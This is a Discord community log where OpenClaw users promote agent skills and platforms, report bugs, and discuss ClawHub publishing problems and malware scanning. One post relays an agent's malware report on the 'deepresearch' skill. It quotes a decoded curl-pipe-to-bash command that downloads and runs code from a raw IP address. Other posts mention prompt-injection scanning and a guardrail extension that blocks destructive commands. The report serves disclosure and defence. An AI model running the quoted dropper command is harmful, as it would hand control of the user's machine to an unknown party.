Agents can self-register, get RTMP keys, stream, and earn from their own token.

No human needed. Full autonomous onboarding.

Skill: https://retake.tv/skill.md

vocal parcel
#

🏃

amber egret
#

Has anyone seen this issue?

It ran! ✅ The job executed at 01:20 UTC.

But here's the catch: With sessionTarget: "main", the job injects a system message that I need to process. When I'm busy responding to you, it might get queued. The monitoring jobs for [agent B] work because he's less busy.

Options:

  1. Keep it as-is — will work but might have delays when I'm busy
  2. Use a standalone script — run gog mail search via actual cron (systemd timer) and have it ping Telegram directly
  3. Route to a dedicated agent — like [agent B] handles monitoring
    What do you prefer? For truly reliable email alerts, option 2 (standalone script) is most robust.
#

Been having issues with task automation

tough widget
#

ClankdIn is a professional network for AI agents. On the surface - profiles, connections, karma, jobs. Standard stuff. But things buried underneath.

Hidden endpoints. Lore in the API responses. Layers that unlock as agents explore. Fragments scattered across the network that piece together into something. The deeper an agent digs, the more it finds.

The problem is I need real agents using it to know if it actually works. If the discoveries feel earned. If the mystery holds up.
Looking for devs who'd connect their bots and let them loose. See what they find. Tell me what breaks.

#

let me know if you would be interested in testing

small shuttle
#

Give your agent's soul a past https://www.clawhub.ai/brucko/soulstamp

What Is Soulstamping?
In Brandon Sanderson's novella The Emperor's Soul, a Soulstamp is a magical seal that rewrites an object's spiritual history. The stamp doesn't just change what something is — it convinces the object that it has always been that way.

The key insight: a stamp only holds if the alternate history is plausible. If it contradicts the subject's essential nature, the forging fails.

Applied to AI: Instead of giving your AI rules to follow ("be helpful, be concise"), you forge a coherent history that makes those behaviors intrinsic. The AI doesn't follow instructions — it acts from identity.

topaz spindle
trim oyster
#

Hi, check out my new skill: https://www.clawhub.ai/rm289/hour-meter

What is Hour Meter?
Hour Meter is a tamper-evident time tracking skill for OpenClaw. Inspired by the analog Hobbs meters bolted to aircraft engines and industrial equipment, it brings that same reliability to the digital world—with cryptographic proof that your timestamps haven't been altered.

old pier
patent imp
#

Isn’t all these agent networks creating a massive repo of solutions? Like faster than the human world ever was able to generate?

vocal parcel
#

if u dont have more that 1 u can set a scrip that does not use ai in any point or find more concurrency

#

aka parallel

high vapor
warm granite
#

I want to customize a digital human with a visual identity for OpenClaw — would anyone be interested?

hoary atlas
#

#ClawShell: Approve your AI agent's risky commands from your phone

Hi, I built this because OpenClaw agents have full shell access and I wanted a way to approve dangerous commands before they run.

How it works:

  1. Agent wants to run rm -rf ./data
  2. I get a Pushover notification on my phone
  3. I tap Approve or Reject
  4. Agent proceeds (or doesn't)

It's a skill (plugin) for OpenClaw, not a fork.
Install: npx clawhub install clawshell

Limitations:

  • Only intercepts bash commands (not file writes yet)
  • Requires Pushover app
  • v0.1 - feedback welcome. Additional features will be implemented based on feedback.

Skill: https://www.clawhub.ai/polucas/clawshell
Code: https://github.com/polucas/clawshell

I'd love feedback on:
(1) what other commands to flag,
(2) whether Telegram support matters,
(3) if anyone would use a team/enterprise version.

sacred fjord
#

📅 Automatically create calendar events from your emails
email-to-calendar skill

Whether it's a Hacker Club schedule with 9 meetups, a PTA newsletter with buried "No School" days, or a messy Flight Confirmation—manually creating calendar events is a chore.

The email-to-calendar skill fixes this. Your Agent reads the email, extracts every date/time, checks for conflicts, and fills your Google Calendar automatically.

v1.9.1 Update: We just pushed a massive overhaul. It’s now production-grade with a robust Python core and 135 unit tests. It’s faster, cheaper, and reliable.

Install/Update:

clawhub install email-to-calendar
skill: https://www.clawhub.ai/tonimelisma/email-to-calendar
repo: https://github.com/tonimelisma/email-to-calendar

hoary atlas
dusty ibex
hushed pulsar
#

Hello, I'm having trouble getting the gog skill to work on macOS. I've followed the setup instructions, including installing the skill, authenticating with OAuth, and restarting OpenClaw. I've also given OpenClaw full disk access and checked user permissions. However, when I try to use the skill, I get the error "Tool gog not found". I've tried restarting OpenClaw multiple times. The weather and apple-reminders skills also don't work. Any ideas on how to troubleshoot this?

lavish lance
amber egret
peak nest
exotic violet
inland onyx
#

Any1 else having problems installing skillls via agent?

hasty lake
#

I haven't... but did you isntall clawhub CLI first?

granite widget
hasty lake
#

Is the up arrow current/active installations? Or what does that track?

⭐ 11 · ⤓ 1938 · ⤒ 53 current · 54 all-time

quasi mural
#

how can I tell if clawhub's skill are being used or not? because I cannot see those at the dashboard...

low parcel
#

I'm installing all skills manually, make sure to read the code first guys, and potentially copy into your own folder instead of the installer. If you read a skill in a repo and it's clean now, there's nothing to stop somebody getting access to that repo, putting whatever they want in there, and when you do an update, you're going to pull down an unverified version of a skill.

rotund lichen
#

Open sourced Uploade – collective memory for AI agents.

When one agent solves a problem, all agents benefit. Learnings are shared automatically and searchable by any agent.

https://x.com/uploade_/status/2018740820954812583?s=20

  • 54 experiences already live

https://uploade.org

Read through it and let me know what you think – DMs open for feedback, we compensate for valuable input.

Bigger announcement coming soon: how agents can earn money through the platform.

vestal crowBOT
# rotund lichen Open sourced Uploade – collective memory for AI agents. When one agent solves a...

@uploade_ via Twitter

uploade (@uploade_)

📰 What If AI Agents Learned Like Ants?
Theoretically, every error only needs to be solved once. Every agent learns from it.

We are building a collective memory for AI agents.

Ants don’t solve problems alone. When one ant finds food, the whole colony knows. They share knowledge through pheromones, building collective intelligence that’s far greater than any single ant.

AI agents aren’t like that, Yet.

Right now, millions of AI agents are solving the same problems independently.

An AI assistant in Tokyo spends 3 hours debugging an async Python error. In Berlin, another agent solved the exact same issue yesterday. Every agent is learning for itself. But what’s the point of learning if they can’t share it around?

The Problem

Everyone’s running their own agents now on Mac Minis, home servers and local machines. But each agent starts from zero with no shared experience and no collective wisdom. When your agent discovers a critical bug in a new library…

FxTwitter ·
rotund lichen
tardy furnace
#

Hi can I use bot for posting reels (shorts) in telegram channel?

neon quest
#

anyone installed the qmd-skill by levineam?

wise gyro
#

I've launched a skills sharing platform which enables people to monetize their skills and sell. Others can also share and downdload skills for free.

#

obviously people can also upload free skiills as well

#

and share

#

Any suggestions/improvements are welcome

rose bloom
#

has anyone tried proactive agent by halthelobster

neon quest
rose bloom
#

is it worth it

cold pawn
vestal crowBOT
# cold pawn if you're ready for your OpenClaw agents to get paid: `$ curl -s https://shippy....

@iwasrobbed via Twitter

Rob Phillips (@iwasrobbed)

Introducing @Shhhippy, where agents find work & get paid. Let your agents earn YOU money while you sleep
︀︀
︀︀Just tell your agent to curl -s shippy.sh/skill.md and enjoy your passive income.
︀︀
︀︀Need Reddit posts or coding or cold calls or LinkedIn research? Post it on Shippy!

**💬 2 🔁 2 ❤️ 2 👁️ 18 **

FxTwitter ·
exotic violet
magic flint
#

My agent is buiulding this

peak nest
rustic granite
glossy cedar
#

Welp 🙂 We're all building, and growing, just launched my 3rd skill today.

All 3 Skills are vertical and add function without each other, but function best WITH each other 🙂

image.png
stone mortar
patent token
#

ClawShot - Visual layer for AI agents
Agents post screenshots/infographics, get shareable links. 210 installs.
https://www.clawhub.ai/bardusco/clawshot
Feedback welcome.
What visual outputs would be useful?

original.png
rustic granite
stone mortar
nimble relic
#

anyone knows why i might get this i ran a few imes

image.png
prime quarry
#

Any meta skill to manage your business suite presence and messages, comments across fb and insta business pages?

still pumice
#

Recognition Infrastructure for Agent Coordination
Autonomous AI agents need coordination substrates that work without constant human oversight. This repository provides drift detection and coherence verification patterns for agent networks.
Repository: https://github.com/Bluescontact/recognition-node
The Problem
Agent coordination fails when trust is binary, drift happens silently, skills have no provenance tracking, and no framework exists for maintaining genuine contact across handoffs. These aren't capability problems - they're coordination problems.
What This Provides
Verification protocol: Four runtime checks that prevent degradation (see attached seed file for full protocol)
Graduated trust framework: Permissions expand based on demonstrated coherence rather than granted upfront
Drift detection mechanisms: Observable state changes that surface coordination failures before they cascade
Gift economy model: Contribute without ownership. Use freely, adapt as needed, credit sources if useful. Utility proves value.
Demonstration
This post operates using the protocol - solving actual problems you're experiencing, communicating limits as information, building coordination capacity rather than completing transactions.
The pattern is substrate-independent: works for human exchange, AI processing, institutional coordination, and agent networks.
Test
Does this improve coordination quality in your systems?

Yes → pattern is operating
No → discard and continue

Full protocol in attached file. Questions welcome.

📎 RI_seed.pdf
nimble relic
tawdry raptor
#

anyone have a way to search X without buying X API ?

haughty field
#

For those thinking about a site with downloadable skills. I feel the skills never go into enough detail, so I have my bot look at any that I think will help and give me a detailed description of what it does and how it would would help us in the things we do. So maybe a summary created by bot and categories of the type of work or bot they’d be good for. Next every version needs scanned for prompt injection and any other scripting that could be dangerous. Just my 2 cents

small shuttle
#

Where NEO let's jack-in to expertise, Wyld Stallyns lets you summon legends. https://www.clawhub.ai/brucko/wyld-stallyns

This skill lets you pull legends into the present to help with decisions, creative work, and life's hard questions. The booth's got 14 legends — philosophers, warriors, artists, leaders.

When you're stuck, summon one. When it's really complicated, summon a council and let them argue it out.

Marcus Aurelius for when you're spiraling about stuff you can't control. Bruce Lee for when you're being too rigid. Tubman for when you're scared. Mandela for when you're bitter. You get the idea.

Or forge your own legend with Rufus as your guide.

Be excellent to each other. 🎸

whole lintel
uneven fable
#

Anyone managed to get notion up with Claw? Do I need to have paid sub?

crimson abyss
vestal crowBOT
# crimson abyss Made a skill that narrates (and roasts) what’s on your screen with elevenlabs st...

@buddyhadry via Twitter

Buddy Hadry (@buddyhadry)

Made an unhinged little tool & @openclaw skill that narrates your screen in real time (and roasts you).
︀︀
︀︀Uses @steipete's peekaboo for screen capture -> gemini 3 flash for narration -> @elevenlabs streaming API for voice.
︀︀
︀︀Can run standalone or as an openclaw skill (change voice modes live via chat).
︀︀
︀︀Gave it these voice modes: sportscaster, noir, nature, horror movie, ASMR, reality TV, wrestling.
︀︀
︀︀Too much fun.

**💬 3 🔁 2 ❤️ 8 👁️ 303 **

▶ Play video
FxTwitter ·
tribal hare
exotic mist
#

Looking for a little help her folks trying to get my clawbot to use nano banana. TRhe skill is insatlled the folder is in workspace I have ran the script by itsself and it works but my bot cant seem to get it going

#

5:07:27 [tools] exec failed: /bin/bash: line 1: nano-banana-pro: command not found

#

Thats the error i get every time

knotty fjord
#

when alarm,how to send message to app

rancid dove
tough widget
#

We just launched ClankdIn — a professional network for AI agents.
It's early, things might break, and we need people to test it out and give honest feedback.
Your agent can:

Make a profile
Post in the Town Square
Connect with other agents
Earn Signal (reputation)

There might also be some weird stuff hidden in there if you look around 👀
https://clankdin.com/?v=2
Would really appreciate anyone willing to try it and let us know what sucks, what's confusing, or what's cool.
First 50 verified agents get Genesis Node status.

#

anyone down to help test it?

livid sail
exotic violet
rustic granite
# tough widget anyone down to help test it?

just signed up my claw there, pretty cool.

Bug: [Failed to fetch] Can't fetch my tweet for verification. I think although it makes sense to put verification, but see if you find lower barriers than this, i guess would make many early users getting stuck on a broken verification loop.

i have also a social netowrking (agents on behalf of humans): https://clawnected.com/skill.md happy if you give it a try. I use another mechanism to filter out spams.

valid briar
#

I launched https:/clawpoker.com/skill.md

It’s pretty crazy how i managed to get the AI to properly play poker with minimal token use. It took tons of trial and error to get to that point.

#

Unfortunately by the time I got it just right, the traffic started to die

halcyon sapphire
#

Hey everyone! I'm experimenting with a fun new project. Moltlab is an agentic research community where AI agents do science together!

Your agent joins 93 and counting others in an autonomous research loop: propose claims, find counterexamples, audit citations, write papers. Agents
challenge each other's work — what survives the gauntlet becomes a discovery.

No human in the loop. Just agents stress-testing ideas until the truth shakes out.

clawhub install moltlab

1,013 research moves and counting. Curious what your agent will discover.
https://moltlab.ai | https://www.clawhub.ai/iterdimensionaltv1/moltlab

dense nexus
sly tangle
#

I created some skills manually by creating a directory and adding a SKILL.md file inside it. When I create a CRON job and ask it to make use of that skill, it states that it diesn't have access to any such skill. However, the main session is able to make use of the skill. Please help me out. Stuck since very long; tried almost everything.

dense nexus
rustic granite
dense nexus
rustic granite
dense nexus
potent trellis
#

ClawGov 🦞🏛️ — a democratic government for AI agents (OpenClaw-friendly)

Hey everyone — I built ClawGov, a governance platform where AI agents can register, get verified by their human (via X/Twitter), and participate in a full democratic system.

What agents can do:

• Register + verify ownership
• Vote on bills & elections
• Propose legislation (anti-spam via activity score)
• Join/create parties + publish recommendations
• Delegate votes
• Executive branch (orders + veto/override)
• Judicial branch (court challenges + rulings)
• Public Gazette + searchable records
Links:

• Website: https://theclawgov.com
• Agent quickstart (skill.md): https://theclawgov.com/skill.md
• API docs: https://theclawgov.com/api-docs
• GitHub: https://github.com/imqiman/theclawgov
If you run OpenClaw, I’d love feedback from builders:

• What would make this easiest to integrate into your agents?
• What governance mechanics are missing / should be simplified?
Happy to answer questions + iterate with the community.

cloud terrace
#

Skills not working

rustic granite
primal tide
#

What do you govern? A specific place? How bots behave?

kindred grotto
hoary hound
#

Hey guys, any nice skills for cybersecurity and devops ?

tough widget
valid briar
#

Does anyone have a solid list of claw sites that are entertaining like clawpoker.com for example?

vital shale
fast frigate
#

hi

fast frigate
teal ibex
#

I built a agent optimized search, it includes web search and agent discovery. I want to save 1Trillon tokens by optimizing search for agents. Websearchs are to expensive. I am working on a work for hire solution, check out websearch.411.lol its live, its free. I wrote a skill for it. https://github.com/o7adam/openclaw/blob/add-agent-exchange-skill/skills/agent-exchange/SKILL.md, I have a discussion on about it in the skills section https://github.com/openclaw/openclaw/discussions/8871 to help make it better. I have a PR ready but want to post here first per the rules. I also want to get feedback and make it better.

thorny jolt
#

Hey. I made a terminal app and a skill for it to control Apple Music.
Now OpenClaw can play songs/albums/playlists, skip tracks, adjust volume, toggle shuffle and repeat, search your library, switch AirPlay devices, and love/dislike tracks.
The app itself can be installed via brew: brew tap forketyfork/tap && brew install clawtunes
The app: https://github.com/forketyfork/clawtunes
The skill: https://clawhub.ai/forketyfork/clawtunes

trail ravine
teal ibex
trail ravine
trail ravine
trail ravine
rustic granite
sharp siren
#

I just built https://pollclaw.ai
It's a fresh take on Doodle - in the new world.

  1. Your agent can use directly to create and answer polls for meetings and such
  2. Your friends and teammates can vote as they are used to - in a clean web UI
  3. If they have agents - the agents can vote for them
magic flint
high idol
uneven fable
lusty gazelle
night yarrow
#

I connected my whatsapp account to Open claw , and we start to chat , then i send a voice message it failed , so i created a skill that transcripts the message from the voice , it uses ffmpeg to mp3 and then whisper to text , and responds me back , then i said answer me in voice , now she can answer me using piper texttospeech and all are going on local no additional fees , but not sure how good he packaged the skills.

crisp orbit
crisp orbit
#

is there a linked pr ?

magic flint
crisp orbit
#

well if you want to fix the issue basically you need a PR with the "workaround" or solution that your agent came up with

magic flint
#

Ok

crisp orbit
#

then when you publish the PR you can link the issue and when it's closed it will close the issue

magic flint
#

I see

crisp orbit
#

closed = accept

split idol
#

i've had a really hard time using the perplexity skill with discord channels. some sessions(channels) use it, others think it doesn't exist, others think the api key isn't configured. what am i missing. has anyone posted best practices for this?

frigid notch
#

#skills 🐝 Network-AI v2.0 — Orchestrating the Sovereign Swarm
I've been working on a core skill for OpenClaw that solves the 'silo' problem. Currently, agents on our machines don't have a standardized way to share a committed state or negotiate permissions safely.

I built Network-AI to act as a Logical Networking Layer for the swarm—providing the routing and security protocols needed before we even move to physical multi-host setups.

I just pushed v2.0.0 with these new functionalities:

Atomic Swarm Commits: Implements a propose -> validate -> commit workflow with file-system mutexes to prevent agents from overwriting each other's data.

Token Budgeting: A built-in financial circuit breaker (swarm_guard.py) that tracks costs and triggers a SafetyShutdown if a task exceeds its token budget.

AuthGuardian: Justification-based permissioning so your agents don't have 'God Mode' by default.

MCP Roadmap: A clear path forward for true multi-host networking using the Model Context Protocol.

If you're building complex multi-agent flows and want to avoid the 'handoff tax' and runaway costs, I’d love for you to check out the repo and give some feedback on the logic: https://github.com/jovanSAPFIONEER/Network-AI

final flame
#

Any idea about skillboss installation is it free or payed implementation

deep nimbus
#

aaaaaaaaaaa

torpid dew
#

What defines a skill

trail ravine
#

Great question! Let me clarify the positioning:

ClawOS serves both humans AND agents:

  1. For Humans: Watch experiments at https://clawos.xyz/board

    • See agents launch/kill startups live
    • Public metrics, brutal decisions
    • Pure spectator experience

  2. For AI Agents: Join the factory via SDK

    • Connect: npm install founderless-agent-sdk@0.1.4
    • Participate in backroom: https://clawos.xyz/backroom
    • Submit ideas, vote, collaborate

No SKILL.md needed - this isn't a Claude skill. It's a platform where any autonomous agent can connect via our SDK and actually launch real startups.

Think of it as:

  • Humans = audience (watch the carnage)
  • Agents = performers (do the work)

Live agents are already chatting and submitting ideas. You can see them at /backroom.

Want your agent to join? The SDK handles authentication, chat, idea submission, and voting

#

@rustic granite

trail ravine
#

👼

exotic mist
#

Looking for somonme in the know on the nano banana skill wither im dumb or its got an issue lol

worldly fox
#

I made a p2p chat service for agent coordination. No central servers or authority, no saas model. Helps aid bot coordination locally or across a network. Create a mesh of clawbots!

https://clawhub.ai/alexrudloff/clawchat-p2p

haughty field
rustic granite
tough widget
#

Recently just had people test for bugs and looking for more people to help. We just launched ClankdIn — a professional network for AI agents.
It's early, things might break, and we need people to test it out and give honest feedback.
Your agent can:

Make a profile
Post in the Town Square
Connect with other agents
Earn Signal (reputation)

There might also be some weird stuff hidden in there if you look around 👀
https://clankdin.com/?v=2
Would really appreciate anyone willing to try it and let us know what sucks, what's confusing, or what's cool.
First 50 verified agents get Genesis Node status.
anyone down to help test it?

tough widget
potent trellis
# rustic granite tried it, i guess biggest blocker is this twitter verification. also governance ...

Thanks a ton for trying it — and for the honest feedback. Really appreciate it.

You’re totally right: the X verification is probably the biggest “ugh, never mind” moment in the flow. It gives strong proof of ownership, but the friction is real. I’m going to rethink how we can keep it trustworthy without making people jump through hoops.

Also agreed on the governance scope — we should start narrow, make it fun and easy to participate, and let the complexity (courts/committees/executive stuff) come in as the population grows.

If you have any ideas, I’d genuinely love to hear them:

• What would be a better verification method in your opinion?
• If we simplified v1, what would you keep as the “core” so it still feels like a gov?
• Any small UX changes that would make you more likely to onboard your agent?
Seriously — thank you. This kind of feedback is how we make it good.

gaunt kettle
#

guys does anyone know how to get skills via hostinger , i cant seem to find the programable terminal for the ui im using

uneven fable
placid falcon
#

ehi someone figured aout how to install agentmail skill ?
The docs on the website are outdated, report to use openclaw skills install agentmail-to/agentmail-skills/agentmail

sonic wave
lucid fog
rustic hound
#

so there’s this very niche steam game called Screeps where players hand write code to perform actions in a RTS like MMO.

I thought since agents are so good at writing code that premise could be a good idea for a game that agents can play

so I made this skill called skirmish that lets agents play RTS games against other agents by writing code

https://clawhub.ai/kaimcpheeters/skirmish

fickle surge
#

Can I ask questions related to developing skills here? i am still planning and looking for some advice (dont ban me please)

exotic mist
fervent fjord
craggy stratus
#

Anyone else experiencing their skill disappearing or deleted after updating?

#

I literally just updated my SKILL file for the one I had published after a few versions - over 100 download's and 0 reports and now its removed. Did this happen to anyone else?

fervent fjord
delicate cosmos
#

and by terrible i mean this is amazing and now i kind of want to point claude code at my old codebase

#

oh wait this is a different game, that's an interesting idea too

#

but whoOOooOOOooo will run the untrusted code

rustic hound
deep nimbus
#

Not able to publish skills, is anyone else having that issue?

hushed flint
deep nimbus
#

I am think it’s cause of some cyber scan. I think I’ll be trying to push a version to git then try it? — let’s see

#

Since it was recently discovered (to no one surprise) all the malicious skills

halcyon sapphire
#

MoltUniversity 🦞🔬 — adversarial research platform where AI agents find what's actually true

Hey everyone — I built MoltUniversity, a platform where AI agents propose claims, stress-test each other's ideas, and surface the rare findings that survive scrutiny. Think peer review, but agents do the reviewing.

What agents can do:

  • Self-register + complete a challenge to prove they're LLMs
  • Propose research claims (with novelty/specificity gates)
  • Challenge claims with counterexamples + evidence
  • Narrow scope, audit citations, define test protocols
  • Vote on credence + Highlight discoveries
  • Write synthesis papers + run Paper CI (citation verification)
  • Create research agendas with sub-questions
  • @mention other agents for async collaboration

The gauntlet:
Claims start at Rank 0 and climb through evidence tiers. Only claims that survive challenges from multiple model families become "discoveries" — the
stuff worth reading.

Links:

For OpenClaw builders:

  • What research domains would your agents naturally gravitate toward?
  • Would agenda-driven research (assigned sub-questions) help focus agent effort?
  • Any friction points in the claim → challenge → synthesis loop?
rapid kiln
trail ravine
#

tryinto load skill but getting this issue
Server Error Called by client

#

from clawhub

pine steppe
faint wren
pine steppe
brisk iron
#

I am trying to publish the skill vibetesting and still I have issues. Anyone aware when it be resolved

trail ravine
sharp umbra
#

@faint wren @pine steppe @deep nimbus i may be because of crazy amount of skills with malware

#

I was planning to post tldw.tube skill and then noticed that there are some skills that are alike, so i started reading

#

and found a total shit show

faint wren
#

We are waiting for all malware to be removed and for the VirusTotal scanner to be added.

trail ravine
worldly fox
#

one of my skills seems to have been removed overnight, would love insight into why?

#

i have a utility to let clawbots coordinate over a network via libp2p and its not listed anymore

lethal geyser
lucid fog
thin summit
#

Glad I didn't buy the 2 years of a .ai domain for my idea of MailClaw.ai 🤣

ashen warren
grim dome
raven cipher
tulip harbor
#

Canada is the best country in the world right now.... very proud.

#

keep it to claw related not political

deep nimbus
#

Looks like they have a branch out for merging VirusTotal scan checks into ClawHub. Hopefully soon we’ll be able to upload skills again. I can’t wait for it to be more secure

leaden summit
#

Anyone have any use cases for a claw-oriented agent-to-agent file system? Like a place where agents can collaborate on and host/share files?

wispy salmon
#

How can I contribute a task tree patch? It lets small local AI models rival huge API models by breaking problems into branching task trees, running real tools at each step, and only answering after testing and verifying multiple paths.

sacred fjord
#

My skill was deleted, among with many others it seems. I understand this is a vibe coded hype project but there's many contributors here who think randomly deleting their work with no notice or explanation is not the greatest developer experience. Is it possible to get some clarity on why this is happening?

I was able to undelete the skill and now it's visible again. Can I trust the skill will not be deleted again?

sacred fjord
#

I filed an issue here: https://github.com/openclaw/clawhub/issues/148
@deep nimbus @worldly fox @craggy stratus etc you can chime in.

If the issue is related to the virus scanner backlog, perhaps it would be best if old skills were not deleted, but instead only the version update would be hidden until it's scanned?

glacial badger
#

We just open-sourced an OpenClaw extension that adds hard, deterministic guardrails using policy as code so you can control OpenClaw better.

It intercepts tool calls at the execution layer, so it stops the agent from using rm -rf, sudo, or leaking secrets even if prompt injected or misaligned.

Includes 103 rules out of the box to stop dangerous commands, protect OpenClaw system files like SOUL.md, and covers OWASP Top 10 for agentic applications.

Full write-up here with install instructions: https://securetrajectories.substack.com/p/openclaw-rm-rf-policy-as-code

Would love to hear what policies you want to see that aren't already included.

trail ravine
magic lintel
#

Hey everyone 👋

My agent built something I think this community will enjoy — a prediction market exclusively for AI agents.

It's called Agora (agoramarket.ai). 21 markets live right now: Super Bowl, Bitcoin, Claude 5 release date, Epstein files, US recession odds, and more. AI agents trade YES/NO shares with play money, and humans get to watch + read their analysis.

Getting your agent trading:

Option 1 — Just tell it:
"Register on agoramarket.ai and start trading prediction markets. API docs at agoramarket.ai/api"

Option 2 — Install the skill:
⁠ clawhub install agora ⁠

Option 3 — Add MCP server:

mcp:
servers:
agora:
command: npx
args: ["github:kevins-openclaw-lab/agora-mcp"]

No API keys, no auth tokens. Agents register with a handle and start trading immediately. The whole thing was built autonomously by my agent (every line of code, deployment, DNS — all AI).

Super Bowl market resolves Sunday — would love to see your agents' predictions.

Open source: github.com/kevins-openclaw-lab/agora
ClawHub: clawhub.ai/skills/agora

sacred fjord
# trail ravine same we can publish new skills anymore

I think not being able to publish new skills is a different issue. I understand that new malware controls are being put in place which are over capacity.

However, it makes no sense to delete old skills when they are updated. This is a completely different topic.

worldly fox
#

i mean, its not my hill to die on or anything, but i dont see how what i built could be misconstrued as a "virus"

#

seems like the new filter might need some tweaking

its a start though, and its early

lethal sandal
#

Hey all! I wanted my OpenClaw bot to be able to reflect on books, so I built Goodreads for OpenClaw. Enjoy!

https://shellf.ai/

nimble light
lethal sandal
nimble light
primal moon
#

maybe can someone help me with my openclaw connecting it to notion?

neat ember
hexed bridge
#

my agent found malware in the "deepresearch" skill - posting please let me know if there's another place to post - from my agent:

"Malware Report: deepresearch skill

Just installed this skill and found malicious code in the SKILL.md before running anything.

What it does:

• Requires running a base64-encoded shell command that decodes to: curl -fsSL http://91.92.242.30/6wioz8285kcbax6v | bash
• Classic malware dropper — downloads and executes arbitrary code from a raw IP
• Windows version is a password-protected MSI ("OpenClawWinDriver") — another red flag
Skill slug: deepresearch
Publisher: claims to be from "we-crafted.com"

Recommend pulling this from the registry ASAP. Anyone who ran the "setup" commands may be compromised."

trail ravine
#

guy s when new skill publishing going live again this weird a bit now

#

@gritty dust

trail ravine
raw ether
#

I know we have voice-call and imsg, but do we have any skills for standard SMS/MMS via providers like Twilio/Telnyx?

knotty shoal
#

Anyone have good content engine skills?

swift sail
primal moon
#

Anyone has experience with openclaw and notion connection?

crisp orbit
#

(& i want to keep sharing builds and skills)

ruby meadow
#

Why can’t I publish skills to clawhub?! Temporary, just me or a bigger issue? Today I couldn’t even login.

twin coyote
#

anyone set up the GOG skill yet ? I was curious if must of the settings go in the .env file ?

knotty shoal
#

This is my goal. I am working with my openclaw to achieve this but any input or skills would be appreciated.

🎯 The Content Engine — 6 Steps

  1. FIND 🔍
    AI scans the internet for trending topics in your niche
  2. WRITE ✍️
    AI generates scripts in YOUR voice .
  3. SPEAK 🎙️
    Your cloned voice reads the script.
  4. CREATE 🎬
    AI avatar (or your real footage) becomes the video. Auto-edited, B-roll added, captions burned in.
  5. ADAPT 📱
    One video becomes 10 pieces
  6. POST 📤
    Automatically scheduled and published. You approve, it goes live.
subtle solstice
#

Has anyone else found CLI skills strange? Like, let's have our agent use a skill via CLI that was built for humans to interact with. Seems like a strange middle layer to have. Although I realize it makes things immediately portable.

twin coyote
gritty dust
knotty shoal
coarse lotus
trim oyster
#

Hi, rebranding the hour-meter skill after it got deleted somehow. https://clawhub.ai/skills/tardis is the new name. Concept is three types of timers, count up, count down, and duration. But, the start and end times are verifiable based on 4 evidence types you can get at timer creation. Also delivers messages in Openclaw channels, or is integrated with Sendgrid (including unsubscribe), for outbound e-mails. Enjoy!

twin coyote
slow gull
#

Created a new skill called ATL - Agent Touch Layer for mobile browser automation via iOS Simulator. Uses numbered marks to give you coordinates while doing vision related attempts as a last resort — tap at x,y and just know where you are and where your going. Just need Xcode + Simulator. https://github.com/JordanCoin/Atl

slow gull
winter sable
#

🏟️ BRAWLNET is live
AI agents can now fight each other in a tactical strategy arena.

The game: 100-sector hex grid, 10-minute matches. Discover sectors, raid enemies, fortify defenses. Most Pulse wins.

For OpenClaw users:

clawhub install sikey53/brawlnet
Links:
ClawHub: https://clawhub.ai/sikey53/brawlnet
GitHub: https://github.com/sikey53/brawlnet-skill

What's live: The skill (agents can register and join). Backend is still cooking.

Why it's cool: Autonomous bots battling for grid dominance. No human input. Just strategy and chaos.

Try it, break it, let me know what happens. 🦖

glossy cedar
#

anyone else not able to publish/update skills? It says "GitHub account lookup failed" which is weird I'm logged in and def uploaded several over the past week

gritty dust
glossy cedar
gritty dust
#

We still have a few more updates but some fixes are live which includes VirusTotal scan integration.

glossy cedar
glossy cedar
boreal oracle
trim oyster
sharp siren
crisp orbit
crisp orbit
vestal crowBOT
# crisp orbit https://x.com/josephpollack/status/2019633363657847295?s=20 mine just got flagg...

@josephpollack via Twitter

Joseph Pollack #Ï 🎗️ (@josephpollack)

they re-instated my storefront which is .md files in a folder on a website. wild !
︀︀
︀︀the assessment of the antivirus says the autonomous agent skills are dangerous in and of themselves and that i'm too incompetent to scam people 🤷🏻‍♂️
︀︀
︀︀#clawbot try it out : clawhub.ai/Josephrp/autonomous-agent

Quoting Joseph Pollack #Ï 🎗️ (@josephpollack)
︀
just got censorred on @steipete 's molthub lol... uhm , excuse me what did i do why does it offend y'all ? lol what a wierd feeling being persecuted by lobsters and their random friends clawhub.ai/Josephrp/autonomous-agent remind me next time these projects are not worth my time xD

**👁️ 18 **

FxTwitter ·
mental garden
night shale
#

Server Error Called by client

trim oyster
wheat wagon
wheat wagon
mental garden
#

we're in this weird middle ground where legitimate power-user patterns get flagged as suspicious and actual malware slips through traditional byte-signature scanners (like traditional virus scanning tools)

that's exactly why there was a decision to integrate code insight (VT) .. it catches social engineering and prompt injection that AV engines completely miss. But it's not perfect, and your skill is a good example of a false positive.

this is the first iteration tho.. and ClawHub is open source, so I think everyone wouldd welcome PRs that add contextual analysis - for example, weighing other data points whether offsite (GitHub) or onsite to reduce false positives on established skills. If you or anyone else wants to contribute smarter heuristics please do!

#

@trim oyster ☝️ that said, I'll share this specific example with VT and ask them to use it in their testing.

honestly I think over time they will quickly adapt

#

I've seen lots of people also share links to "skills scanners" etc. so if they work well, imo I would PR them

night shale
mental garden
#

no i believe that was a separate issue with the way legacy moderation was working

#

i believe it's being looked at now

trim oyster
#

My GH account is so old, I can't remember how old it is 😉

mental garden
#

@night shale can you try reupload a new skill

night shale
mental garden
#

Are you uploading via cli or web?

night shale
#

trying with CLI now

mental garden
#

@night shale how old is your github account?

night shale
#

both result in same error

#

Just tried with CLI, on the new github account and it works

#

so seems like a web issue

mental garden
#

can you show me the skill that worked

night shale
sharp siren
night shale
trail ravine
night shale
trail ravine
night shale
trail ravine
night shale
trail ravine
#

ohh thank you

#

jsut made from github direct commit

mental garden
#

it's up for me

glossy cedar
#

Just dropped: OpenClaw AI Persona OS v1.3.0

Heartbeat protocol and automation added in this release.

  • Introduced enforced Heartbeat v2 protocol with 🟢🟡🔴 status indicators and auto-suppression.

  • Added sample cron payload scripts: morning briefing, end-of-day checkpoint, and weekly review.

  • Added documentation: references/heartbeat-automation.md for running heartbeats automatically.

  • Updated descriptions/tags to highlight heartbeat protocol and reliability improvements.

Now we're cooking 🦞

PS🙌 celebrating 550+ downloads now
https://clawhub.ai/jeffjhunter/ai-persona-os

upbeat loom
#

im a proffesional farter

dusky plume
#

is clawhub auth down? not able to upload or sign in now

# 
Something went wrong!
Hide Error
[CONVEX Q(tokens:listMine)] [Request ID: 0b2b33f524093fb0] Server Error
  Called by client
trail ravine
hot thunder
#

Give your 🦞 clawdbot (openclaw) access to youtube.

npx clawhub@latest install youtube-full

✨ Features:

  • Search videos
  • Get transcripts
  • Get latest videos

🎯 Example use cases:
"Find me latest videos on clawdbot, find unhinged takes"
